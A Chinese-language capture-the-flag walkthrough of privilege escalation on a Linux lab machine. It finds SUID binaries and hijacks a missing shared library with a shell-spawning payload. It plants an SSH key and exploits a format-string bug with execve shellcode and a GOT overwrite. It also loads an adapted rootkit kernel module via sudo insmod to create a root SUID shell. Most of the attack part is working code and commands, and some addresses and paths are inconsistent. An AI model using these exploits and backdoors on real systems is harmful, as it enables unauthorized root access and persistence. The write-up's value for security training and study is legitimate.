SUID
是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。当s
这个标志出现在文件所有者的X
权限上时,如/usr/bin/passwd
这个文件的权限状态:-rwsr-xr-x.
,此时就被称为Set UID,简称SUID。
简单来说:假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。
搜索具备SUID权限的程序
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
SUID-Find提权命令
find <文件> -exec whoami \; //文件必须存在
发现了一个setuid文件pinkscd
!注意:pinksecd
文件的所有者是用户pinksecmanagement
,用户pinksecmanagement
对该文件具有读写和执行的权限,属于pinksecmanagement
用户组的用户对该文件有读和执行的权限,其他用户只有执行的权限。
使用socat进行文件传输:
socat -u open:pinksecd tcp-listen:7777,reuseaddr // 靶机上运行,发送文件
socat -u tcp:192.168.92.3:7777 open:pinksecd,create //kali上新建窗口,接收文件
查看pinksecd文件权限,该文件
根据前面该文件是一个setuid文件,故修改文件权限,并运行。
chmod +x pinksecd //赋予可执行权限
./pinksecd //运行程序
发现缺少一个依赖库
libpinksec.so
。
使用ldd
查看pinksecd的依赖库对应的文件:
ldd pinksecd
libpinksec
的路径是/lib/libpinksec.so
。
nm
是linux自带的特定文件分析工具,一般用来检查分析二进制文件、库文件、可执行文件中的符号表,返回二进制文件中各段的信息。命令:
nm -g /lib/libpinksec.so
关于结果:
- 左边的一串数字表示地址。如果是二进制文件,则表示逻辑地址,不是程序最后运行的地址。
- 中间的字母代表当前条目位于程序哪一部分。
T
代表代码段数据。- 最后边代表对应的符号的内容。
这里直接找_init
,程序主要从这里开始运行。新建一个c文件,只要该文件中含有三个函数psbanner()、psopt()、psoptin()
就可以制作payload了。
shell.c文件内容:
#include
int psbanner() {
return system("/bin/sh");
}
int psopt() {
return system("/bin/sh");
}
int psoptin() {
return system("/bin/sh");
}
编译:
gcc -shared -o shell.o -fPIC shell.c
参数:
-shared
代表创建动态链接库;-fPIC
则是生成位置无关代码,因为动态链接库可以被多个进程共享加载。-o
代表指定输出文件。关于gcc的相关信息,可以参考gcc编译命令详解及最佳实践
使用payload替换/lib/libpibksec.so
,cp shell.o /lib/libpinksec.so
对payload的个人理解:
- 属于用户
pinksecmanagment
的文件pinksecd
设置了SUID权限,用户pinksec
在运行该文件的时候,将会以用户pinksecmanagment
的身份去运行,也就是有效用户ID(EUID)是`pinksecmanagment。- 运行文件
pinksecd
的过程中,执行力system("/bin/sh")
指令,相当于fork了一个shell,并且是以用户pinksecmanagment
的身份新建的,也就是说可以进入用户pinksecmanagment
的主目录/home/pinksecmanagment
。
知识补充:
(1)关于id
命令:
id
命令不含有任何参数,会报告当前用户的用户ID(uid)和用户名,所属的主要组ID(gid)和组名称、用户所有的属组(groups)和组名称。
(2)linux中UID,GID,EUID,EGID
的快速理解
UID/GID
指实际用户ID和实际组ID,即登录时的用户名,比如我是kali登陆,那么UID/GID 为kali/kali。EUID/EGID
指有效的用户ID和有效的组ID,它们指定了访问目标的权限。例如:
- 当前登录用户为my,welcome文件的ls -l 后的用户为my,组为mygroup,此时UID=my,GID=mygroup,EUID=my,EGID=mygroup。
- 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,此时UID=my,GID=mygroup,EUID=other,EGID=othergroup。并且my用户无法访问other用户的文件。
总的来说,EUID表示的是文件所有者的用户ID,EGID表示文件所有者所属的组ID。
如果一个文件被设置了SUID或SGID位,会分别表现在所有者或同组用户的权限的可执行位上。例如:
-rwsr-xr-x 表示SUID和所有者权限中可执行位被设置
-rwSr–-r-- 表示SUID被设置,但所有者权限中可执行位没有被设置
-rwxr-sr-x 表示SGID和同组用户权限中可执行位被设置
-rw-r-Sr-- 表示SGID被设置,但同组用户权限中可执行位没有被设置
接着刚才的案例进行分析
- 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为rwsr-xr-x,那么该程序同样可以被执行,此时UID=my,GID=mygroup,EUID=other,EGID=mygroup。此时welcome程序有了other的权限,当然就可以访问apps了。
- 同理,当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为-rwxr-sr-x,那么UID=my,GID=mygroup,EUID=my,EGID=othergroup,因为同组,当然就可以执行apps文件。
请参考:
进入/home/pinksecmanagment
拿到flag4!
在刚刚提权的shell中使用backspace
键,将会出现奇奇怪怪的符号,说明这个shell不稳定。根据之前的信息,靶场开了ssh服务,那么考虑免密方式登录靶机。
linux下,进入./.ssh
目录(SSH密钥默认保存在该目录下),使用以下命令生成一对RSA公钥与密钥:
ssh-keygen -t rsa
- ssh-keygen语法:
ssh-keygen [options]
-t
表示要创建的密钥类型
下一步通过shell将kali的公钥写入靶机/home/pinksecmanagement/.ssh
目录,文件命名为authorized_keys
。这样做的目的是:公钥加密,私钥解密。
- Client将自己的公钥存放在Server上,追加在文件authorized_keys中。
- Server端接收到Client的连接请求后,会在authorized_keys中匹配到Client的公钥pubkey,并生成随机数R,用Client的公钥对该随机数进行加密得到pubkey(R),然后将加密后信息发送给Client。
- Client端通过私钥进行解密得到随机数R,然后对随机数R和本次会话的SessionKey利用MD5生成摘要Digest1,发送给Server端。
- Server端会也会对R和SessionKey利用同样摘要算法生成Digest2。
- Server端会最后比较Digest1和Digest2是否相同,完成认证过程。
进入/home/pinksecmanagement
目录,mkdir .ssh
新建.ssh
文件夹,并进入。
使用echo
新建一个authorized_keys
文件,将kali的公钥写入:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVhYclyR6Gr+wBz10uHSxlP6HjuklCuPuKpsKdU0Kg8+XHul3GeYWYuPmWldJfv29LXAEpMAXRgz3nzNcuJdyKciUT5rVOdAB6igaWcw9iz7IN1eEpm0vDVjpLSLHay8DIKJXYVd74Jpm4MtHpw5PsGcgDw2jnxE96XsD15vOANZu6ZSu8od7Clp+M+wVllSw0thRffIIoAhsT9jw+lS+DhnL6jw6Vq4Ud4+/lxtkJNJuiIixpuALMTu13VZl+0dLn3zBv9MqdR/f7a6ty1KepBpks/91yFLhgvIatXDLLoNacmSFfoibZbTEjbfGPnm1go8QdvbS9+nBBjGEC+iK2TQvMksrF1z1UXuWiWZaZfoR23jc6hhv9fpE8y3xGBblZPS20H03FbOpvDr4TA15QoFJbMZS0Yxg27Y4QXO/FVYr4yeeZk3dnTc0RQMPGl62H2zU17oBNrtgnGLY8tY97TG/6E2/rvI7b4NW9dBvH3PofxixK8CXNXdDSI0vFEfs= root@kali" > authorized_keys
成功免密登录!!!
ssh语法:
ssh 用户名@ip地址 -p 端口
(1)搜索具备SUID权限的程序,常用命令如下:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
find / -user root -perm -4000 -print 2>/dev/null
补充知识:
find
命令语法:find [path] [expression]
;
path
为查找路径,.
代表当前路径,/
代表根目录;expression
为参数-user root
表示查找所有者为root的文件;-perm -4000
表示权限为SUID的文件。等价于命令-perm -u=s
-type f
代表文件,d
代表目录;2>/dev/null
代表删除错误信息;find (路径,必须存在) -exec \;(结束标志)
。例如:find . -exec whoami \;
当前目录下有几个文件就执行几次whoami命令。
使用find / -perm -u=s -type f 2>/dev/null
或者find / -perm -4000 -type f 2>/dev/null
查找具有SUID属性的文件。
特别注意/usr/local/bin/PSMCCLI
文件,使用ls -al
查看其文件属性。
发现
/usr/local/bin/PSMCCLI
文件属于pinksecmanagement
用户组,且其文件所有者是用户pinky
。也就是说用户pinky
属于pinksecmanagement
用户组,文件/usr/local/bin/PSMCCLI
其实是属于用户pinky
。
PSMCCLI程序功能:输入什么返回什么。
可知,该文件存在格式化字符串漏洞。同时,使用file
命令查看文件类型,该文件属于ELF
文件。
- 在linux中,经gcc编译后生成的可执行文件属于
ELF
文件;ELF
是一类文件类型,而不是特指某一后缀的文件。
ELF(Executable and Linkable Format,可执行与可链接格式)文件格式,在Linux下主要有如下三种文件:
- 目的:目前我们的用户身份是
pinksecmanagement
,而文件PSMCCLI
的所有者是用户pinky
,提权的目的就是将我们用户身份从pinksecmanagement
变为用户pinky
。- 格式化字符串的利用原理:
(1)使用socat
进行文件传输
socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr // 靶机,文件发送方
socat -u tcp:192.168.92.3:9999 open:PSMCCLI,create //kali,文件接收方
(2)查看二进制程序启用的安全保护
使用checksec
检查文件是否被保护,发现并没有什么保护,同时RELRO
位为partial relro
,说明我们对GOT表具有写权限。
(3)攻击思路
格式化字符串允许两个基本的攻击向量:
- 直接内存访问:使用
%x
格式化字符串和位置值,可以打印或访问堆栈中的任何内存位置;- 写入位置的能力:使用
%n
格式化字符串写入任何位置,%n
将到当前输出的所有数据的长度写回一个变量中去。
攻击思路:用%x定位位置,在位置中%n植入shellcode,用%hn执行。
(4)选择shellcode
shellcode网站
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
将shell代码放在环境变量中,利用格式字符串漏洞,将程序流重定向到环境变量的地址即可!
(5)将shellcode写入环境变量
export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
可以看到变量
SPAWN
的值就是那段shellcode。
(6)定位环境变量SPAWN
的位置
使用以下脚本寻找变量SPAWN
的位置:
#include
#include
#include
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s \n" , argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
编译gcc addr.c -o addr
前面已经将shellcode写入环境变量SPAWN
中了,现在需要寻找在执行目标二进制文件时,SPAWN
所在内存位置,也就是shellcode在内存中的位置。
./addr SPAWN /usr/local/bin/PSMCCLI
可知,在执行目标二进制文件时,
SPAWN
(shellcode)所在的地址为0xbffffe81
。
(7)定位写入putchar的指针位置
objdump -R /usr/local/bin/PSMCCLI
putchars
的地址为0x0804a01c
0xbffffe81
putchars
函数的地址:0x0804a01c
(8)确定Args位置
/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")
-x
可以访问内存中的数据。如果内存数据中连续出现4142,就说明可写。
/usr/local/bin/PSMCCLI AAAABBBBCCC%134\$0x%135\$0x
去找具体两块块区域可写。
(9)找前半段地址
现在需要访问 putchar 指针的地址(要修改的地址),即 0x0804a01c!32 位架构中的内存为 4 字节(32 位)大小。然而将使用格式字符串漏洞每次只能写两字节。所以需要把地址分成两个字节:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0x
(10)找后半段地址
只需把$x
换成$n
。构造payload:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0n
(11)构造payload
需要将值 0xbffffe7f
(shellcode 地址),写入内存字节中,每个短字节(2个字节)最多只能容纳 0xffff
,因此需要将值拆分为两个短字节。
shellcode 地址: 0xbffffe7f
0xfe7f = 65151
0xbfff = 49151
低二位0804a01c
写入 fe80 - char_number(12) = 65142
高二位0804a01e
(低二+2) 写入1bfff - fe80 = 49535[整数溢出原理 hn写入两字节,即0-65535]
小端序,低位放低地址
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65142u%134\$0hn%49534u%135\$0hn
sudo -l
查看执行sudo命令的使用者的权限,这里发现了无需密码可以执行的俩个命令 insmod
和 rmmod
,这俩个命令是操作内核的,insmod
是加载一个内核模块,rmmod
是卸载一个内核模块
这里的提权方式是制作一个内核来提升权限。对内核模块的编写,可以是反弹一个root的shell,或者对一个制作的文件增加s权限修改为root用户所有等等。
这里我选择制作一个获取sh的文件,用内核模块对其进行修改为root用户。
内核模块,修改:https://github.com/PinkP4nther/Pinkit/blob/master/pinkit.c 的反弹shell内核模块为赋权。具体内容如下:
#include
#include
#include
#include
#include
#include
#define ML "GPL"
#define MA "@Pink_P4nther"
#define MD "An LKM Backdoor"
#define MV "1.2"
static int __init mload(void)
{
char *envp[] = {
"HOME=/root",
"TERM=xterm",
NULL
};
char *argv[] = {
"/bin/bash",
"-c",
"chown root:root /tmp/shell;chmod 4777 /tmp/shell",
NULL
};
printk(KERN_INFO "[+] Command Execution Begin\n");
call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);
printk(KERN_INFO "[+] Command Execution End\n");
return 0;
}
static void __exit munload(void)
{
printk(KERN_INFO "[+] Happy Hacking!\n");
}
module_init(mload);
module_exit(munload);
MODULE_LICENSE(ML);
MODULE_AUTHOR(MA);
MODULE_DESCRIPTION(MD);
MODULE_VERSION(MV);
shell文件编写
int main(void)
{
setgid(0);
setuid(0);
execl("/bin/sh",0);
}
Makefile文件
obj-m +=sroot.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
准备内容sroot.c内核模块,shell.c获取shell的代码,Makefile编译内核模块的文件。
使用make命令编译sroot.c,gcc命令编译shell.c,sudo insmod sroot.ko装载内核模块。且将shell放到/tmp/
下。
在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!